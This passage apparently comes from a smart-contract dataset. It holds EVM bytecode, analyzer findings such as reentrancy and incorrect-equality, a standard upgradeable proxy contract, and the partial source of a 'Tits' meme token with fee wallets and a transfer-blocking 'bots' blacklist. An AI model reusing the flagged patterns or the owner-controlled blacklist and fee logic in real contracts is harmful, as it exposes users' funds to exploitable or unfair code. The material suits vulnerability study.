405180830381600087803b1580156115d557600080fd5b505af11580156115e9573d6000803e3d6000fd5b50506002600052505060146020527fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a5461164b5760026000526014602052427fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a555b6116556002611a47565b3360009081527f07d4ff730d9753101d832555708a37d38c2c45fce8cacaefc99f06074e93fe0b602090815260408220929092556002815260139091527f0b9d2c0c271bb30544eb78c59bdaebdae2728e5f65814c07768a0abe90ed192380548392906116c3908490612816565b90915550503360009081527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b26020526040902055565b60185473ffffffffffffffffffffffffffffffffffffffff16331461177a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401610ce7565b601880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006117cd3383611cef565b91506000600a54836117df9190612869565b336000908152600460205260408120805492935083929091906118039084906128a6565b90915550611814905081600a611daa565b61181e90826128a6565b73ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604081208054909190611853908490612816565b909155506118649050816028611daa565b61186f82601e611daa565b61187a836014611daa565b6118849190612816565b61188e9190612816565b30600090815260046020526040812080549091906118ad908490612816565b909155506118be905081603c611daa565b60075473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040812080549091906118f5908490612816565b90915550600090505b600381101561192c5761191a81610b0584610af583600a612869565b806119248161290b565b9150506118fe565b5061193b610b3f826032611daa565b611946338585611efa565b60085473ffffffffffffffffffffffffffffffffffffffff163314156119725761197284826000612129565b60085473ffffffffffffffffffffffffffffffffffffffff858116911614156119a1576119a133826001612129565b73ffffffffffffffffffffffffffffffffffffffff8416337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119e586600a611daa565b6119ef90876128a6565b60405190815260200160405180910390a37f1da9a0060303acd94a78d52073d1a4429cf474a9a26cee91c84e7d28abb2baaa611a2c84600a611daa565b60405190815260200160405180910390a15060019392505050565b600081815260146020526040812054611a6257506000919050565b6000828152600f6020908152604080832054600d8352818420546014909352922054611a8e90426128a6565b611a989190612816565b611aa291906128a6565b6000838152600d6020908152604080832054600e835281842054600c909352922054611ace91906128a6565b611ad89190612869565b611ae2919061282e565b6000838152600c602052604090205461087791906128a6565b60185473ffffffffffffffffffffffffffffffffffffffff163314611b7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401610ce7565b6000908152600d6020526040902055565b60185473ffffffffffffffffffffffffffffffffffffffff163314611c0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401610ce7565b60009182526006602052604090912055565b600080600080611c31600086610fa2565b611c3c600187610fa2565b611c47600288610fa2565b611c52600289610fa2565b611c5d60018a610fa2565b611c6860008b610fa2565b611c729190612816565b611c7c9190612816565b93509350935093509193509193565b60008281526014602052604090205415611cdd57611ca882611a47565b6000838152600e6020908152604080832093909355601490522054611ccd90426128a6565b6000838152600f60205260409020555b6000918252600c602052604090912055565b600b54600a5473ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260408120549092918491611d2a919061282e565b611d3491906128a6565b108015611d5c575060085473ffffffffffffffffffffffffffffffffffffffff848116911614155b15611da457600b54600a5473ffffffffffffffffffffffffffffffffffffffff8516600090815260046020526040902054611d97919061282e565b611da191906128a6565b91505b50919050565b6000600681611dba84600a612869565b611dc5906001612816565b8152602001908152602001600020546006600084600a611de59190612869565b81526020019081526020016000205484611dff9190612869565b611e09919061282e565b9392505050565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040812054600a54600154611e489190612869565b611e5291906128a6565b90506000611e6083836128a6565b90508181600a54611e719190612869565b611e7b919061282e565b600a81905560011115611e8e576001600a555b60085473ffffffffffffffffffffffffffffffffffffffff166000908152600460205260409020548290611ec3908390612869565b611ecd919061282e565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040902055505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526011602052604090205460ff16158015611f3257506010548110155b8015611f59575060085473ffffffffffffffffffffffffffffffffffffffff848116911614155b8015611f80575060085473ffffffffffffffffffffffffffffffffffffffff838116911614155b1561091357600160005260146020527fb6c61a840592cc84133e4b25bd509abf4659307c57b160799b38490a5aa48f2c54611fe35760016000526014602052427fb6c61a840592cc84133e4b25bd509abf4659307c57b160799b38490a5aa48f2c555b6000611ff0600133610fa2565b111561200057612000600161126f565b61200a6001611a47565b3360009081527f27739e4bb5e6f8b5e4b57a047dca8767cc9b982a011081e086cbb0dfa9de818d602090815260408083209390935573ffffffffffffffffffffffffffffffffffffffff861682527f71a67924699a20698523213e55fe499d539379d7769cd5567e2c45d583f815a3905290812080546001929061208f908490612816565b90915550506001600081815260136020527f4155c2f711f2cdd34f8262ab8fb9b7020a700fe7b6948222152f7670d1fdf34d80549091906120d1908490612816565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260116020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055505050565b806121695773ffffffffffffffffffffffffffffffffffffffff831660009081526016602052604081208054849290612163908490612816565b90915550505b80156121aa5773ffffffffffffffffffffffffffffffffffffffff8316600090815260176020526040812080548492906121a4908490612816565b90915550505b73ffffffffffffffffffffffffffffffffffffffff8316600090815260166020908152604080832054601790925282205411156122205773ffffffffffffffffffffffffffffffffffffffff841660009081526016602090815260408083205460179092529091205461221d91906128a6565b90505b73ffffffffffffffffffffffffffffffffffffffff841660009081526017602090815260408083205460169092529091205411156122975773ffffffffffffffffffffffffffffffffffffffff841660009081526017602090815260408083205460169092529091205461229491906128a6565b90505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260176020908152604080832054601690925282205483916122d391612816565b6122dd91906128a6565b73ffffffffffffffffffffffffffffffffffffffff861660009081527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b60205260409020549091508111156124d15773ffffffffffffffffffffffffffffffffffffffff851660009081527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b602052604081205461237b90836128a6565b6000805260146020527f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c549091506123da57600080526014602052427f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c555b60006123e7600033610fa2565b11156123f7576123f7600061126f565b6124016000611a47565b3360009081527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed602090815260408083209390935573ffffffffffffffffffffffffffffffffffffffff891682527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b90529081208054839290612485908490612816565b9091555050600080805260136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c80548392906124c5908490612816565b90915550612661915050565b73ffffffffffffffffffffffffffffffffffffffff851660009081527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b60205260409020548110156126615773ffffffffffffffffffffffffffffffffffffffff851660009081527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b602052604081205461256d9083906128a6565b9050600061257c600033610fa2565b111561258c5761258c600061126f565b6125966000611a47565b3360009081527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed602090815260408083209390935573ffffffffffffffffffffffffffffffffffffffff891682527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b9052908120805483929061261a9084906128a6565b9091555050600080805260136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c805483929061265a9084906128a6565b9091555050505b5050505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461268c57600080fd5b919050565b6000602082840312156126a357600080fd5b611e0982612668565b600080604083850312156126bf57600080fd5b6126c883612668565b91506126d660208401612668565b90509250929050565b6000806000606084860312156126f457600080fd5b6126fd84612668565b925061270b60208501612668565b9150604084013590509250925092565b6000806040838503121561272e57600080fd5b61273783612668565b946020939093013593505050565b60006020828403121561275757600080fd5b5035919050565b6000806040838503121561277157600080fd5b823591506126d660208401612668565b6000806040838503121561279457600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156127d0578581018301518582016040015282016127b4565b818111156127e2576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000821982111561282957612829612944565b500190565b600082612864577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128a1576128a1612944565b500290565b6000828210156128b8576128b8612944565b500390565b600181811c908216806128d157607f821691505b60208210811415611da4577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293d5761293d612944565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220f2b2641ca3a2cfb4ac62365fcea06ba274634225c5f3113b7eaff495f6f69e4e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,946 |
0x7c175a3fd4d2f14e40ac418a1e004dfc8edd3ba8
|
/**
*Submitted for verification at Etherscan.io on 2020-11-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,947 |
0x5831be7c2429e886013124fd119dcda7ec4c750e
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
//telegram @tits_erc20
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract tits is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 2;
uint256 private _tax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Tits";
string private constant _symbol = "TITS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
